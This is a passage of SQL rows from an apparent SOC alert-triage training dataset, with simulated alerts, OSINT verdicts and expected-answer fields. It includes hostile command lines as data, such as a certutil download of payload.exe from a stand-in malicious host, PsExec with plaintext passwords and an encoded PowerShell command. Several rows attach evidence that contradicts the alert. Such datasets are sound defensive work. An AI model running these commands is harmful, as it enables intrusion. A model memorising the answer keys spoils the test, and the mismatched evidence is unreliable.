Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(610, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email containing a link to a known malicious domain was received by a user.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"192.168.1.20\",\"username\":\"asmith\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"phish@evil.com\",\"url\":\"http://phishing.example.com\",\"email_subject\":\"Urgent: Verify Your Account\"}', '2026-01-10 21:27:24', '2026-02-16 18:03:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"phish@evil.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Email address linked to phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://phishing.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing schemes.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a malicious site, confirmed by multiple OSINT sources.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Link Detected\",\"date\":\"2026-02-01T20:32:22.248Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(611, 'Internal Network Lateral Movement via PSExec', 'medium', 'Wazuh', 'A suspicious PSExec activity was detected moving laterally within the network from one internal host to another.', 'Lateral Movement', 'T1077', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\"}', '2026-01-11 02:27:11', '2026-03-10 00:01:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the initiating host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target host.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage can indicate lateral movement.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec used to execute commands remotely, indicating possible lateral movement.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.249Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.249Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.249Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.249Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.249Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(612, 'Brute Force Login Attempt Detected', 'medium', 'Splunk', 'Multiple failed login attempts were detected from a foreign IP address, indicating a possible brute force attack.', 'Credential Attack', 'T1110', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.30\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER\",\"failed_attempts\":25}', '2026-01-09 19:58:44', '2026-02-22 04:55:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported in multiple brute force attempts but not confirmed malicious.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Common administrative account targeted by attackers.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP showed failed login attempts but without successful access. No further malicious activity detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.251Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.251Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.251Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.251Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.251Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(613, 'Suspicious PowerShell Execution Detected with Encoded Command', 'high', 'CrowdStrike', 'A PowerShell process was detected executing an encoded command, indicating possible obfuscation attempts to evade detection.', 'Malware', 'T1086', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-10T19:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB3AGgAYQB0ACAAJwAnADsAIAAkAHUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwBlAHgAYQBtAHAAbABlAC4AYwBvAG0AJwA7ACAAIgAkAHIAZQBwACAAJwAnAA==\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-10 04:01:28', '2026-02-18 13:55:35', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB3AGgAYQB0ACAAJwAnADsAIAAkAHUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwBlAHgAYQBtAHAAbABlAC4AYwBvAG0AJwA7ACAAIgAkAHIAZQBwACAAJwAnAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for obfuscation detected in multiple malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent suspicious activity, but not confirmed malicious\"}}],\"expected_actions\":[\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is a common tactic for malware to evade detection. This activity requires further investigation and containment.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(614, 'Internal Network Lateral Movement via PSExec', 'critical', 'Wazuh', 'An internal system was used to execute a remote command on another internal machine using PSExec, indicating potential lateral movement.', 'Lateral Movement', 'T1077', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-10T21:12:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.75\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"psexec \\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\"}', '2026-01-10 10:01:55', '2026-02-16 18:04:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of the initiating system within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP of the target system within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec used for lateral movement, a known technique for spreading malware internally\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec for remote command execution is a strong indicator of lateral movement within the network. Immediate investigation and host isolation are advised.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.253Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-10T21:12:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.253Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-10T21:12:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.253Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-10T21:12:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.253Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-10T21:12:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.253Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-10T21:12:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(615, 'Potential Data Exfiltration via Certutil', 'high', 'Splunk', 'Certutil was observed being used to download a file from an external source, a technique often used for data exfiltration or downloading malicious payloads.', 'Data Exfil', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.100\",\"dst_ip\":\"203.0.113.85\",\"username\":\"hsmith\",\"hostname\":\"WORKSTATION-03\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\"}', '2026-01-10 07:17:02', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download potentially malicious file\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of certutil for downloading files from external sources is indicative of data exfiltration or malware download. Further investigation is necessary.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.254Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:25:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.100\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"hsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-03\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.254Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:25:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.100\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"hsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-03\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.254Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:25:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.100\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"hsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-03\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.254Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:25:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.100\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"hsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-03\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.254Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:25:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.100\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"hsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-03\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(616, 'False Positive: Legitimate Use of MSHTA Detected', 'medium', 'IDS', 'An MSHTA execution was detected, which is commonly used by attackers for executing scripts. However, this instance was identified as a legitimate use case by an internal script.', 'Malware', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:40:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"\",\"username\":\"serviceaccount\",\"hostname\":\"SERVER-02\",\"command_line\":\"mshta.exe http://intranet.example.com/script.hta\",\"domain\":\"intranet.example.com\"}', '2026-01-10 16:40:24', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server executing the script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://intranet.example.com/script.hta\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Legitimate execution of an internal script\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"intranet.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Internal domain for legitimate business operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected use of MSHTA was verified to be legitimate for executing an internal script. No malicious activity was confirmed.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.255Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:40:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"serviceaccount\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"command_line\\\":\\\"mshta.exe http://intranet.example.com/script.hta\\\",\\\"domain\\\":\\\"intranet.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.255Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 